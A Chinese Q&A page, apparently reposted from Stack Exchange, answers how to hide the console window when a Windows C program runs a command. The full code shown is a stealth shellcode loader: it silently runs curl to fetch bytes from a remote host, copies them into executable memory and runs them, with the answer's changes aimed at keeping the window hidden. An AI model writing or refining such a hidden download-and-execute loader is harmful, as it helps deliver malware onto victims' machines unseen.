如何在Windows C程序中通过系统执行命令隐藏终端窗口?
解决Windows下C程序执行命令不弹出终端的问题
你的代码里用popen执行curl时,会默认创建控制台窗口,要隐藏终端,得替换popen为Windows原生的CreateProcessAPI,配合管道捕获输出并设置窗口隐藏参数。以下是修改后的完整代码:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> int main() { char* command = "curl http://ip/file to execute"; char c = 0; int counter = 0; unsigned char code[460]; SECURITY_ATTRIBUTES sa = {0}; HANDLE hReadPipe, hWritePipe; PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {0}; // 设置安全属性,让子进程能继承管道句柄 sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; // 创建匿名管道,用于捕获curl的输出 if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { printf("CreatePipe failed: %d\n", GetLastError()); exit(EXIT_FAILURE); } // 设置STARTUPINFO,重定向子进程输出并隐藏窗口 si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdOutput = hWritePipe; si.hStdError = hWritePipe; // 重定向错误输出避免额外窗口 si.wShowWindow = SW_HIDE; // 启动curl进程,指定CREATE_NO_WINDOW确保无终端弹出 if (!CreateProcess(NULL, command, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { printf("CreateProcess failed: %d\n", GetLastError()); CloseHandle(hReadPipe); CloseHandle(hWritePipe); exit(EXIT_FAILURE); } // 关闭父进程侧的写管道句柄 CloseHandle(hWritePipe); // 从管道读取curl输出到code数组 while (ReadFile(hReadPipe, &c, sizeof(c), NULL, NULL) && counter < sizeof(code)-1) { code[counter] = c; counter++; } // 清理进程和管道句柄 CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hReadPipe); // 原执行逻辑保留 void *exec = VirtualAlloc(0, counter, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, code, counter); ((void(*)())exec)(); return 0; }
关键修改点:
- 移除了无效的
WinExec("", SW_HIDE),这行代码无法影响curl的窗口。 - 用
CreatePipe+CreateProcess替代popen,通过CREATE_NO_WINDOW标志和SW_HIDE参数双重确保子进程不弹出终端。 - 重定向子进程的标准输出和错误输出到管道,避免任何可能的窗口触发。
内容的提问来源于stack exchange,提问作者NEOKALI
相关产品推荐
相关产品推荐

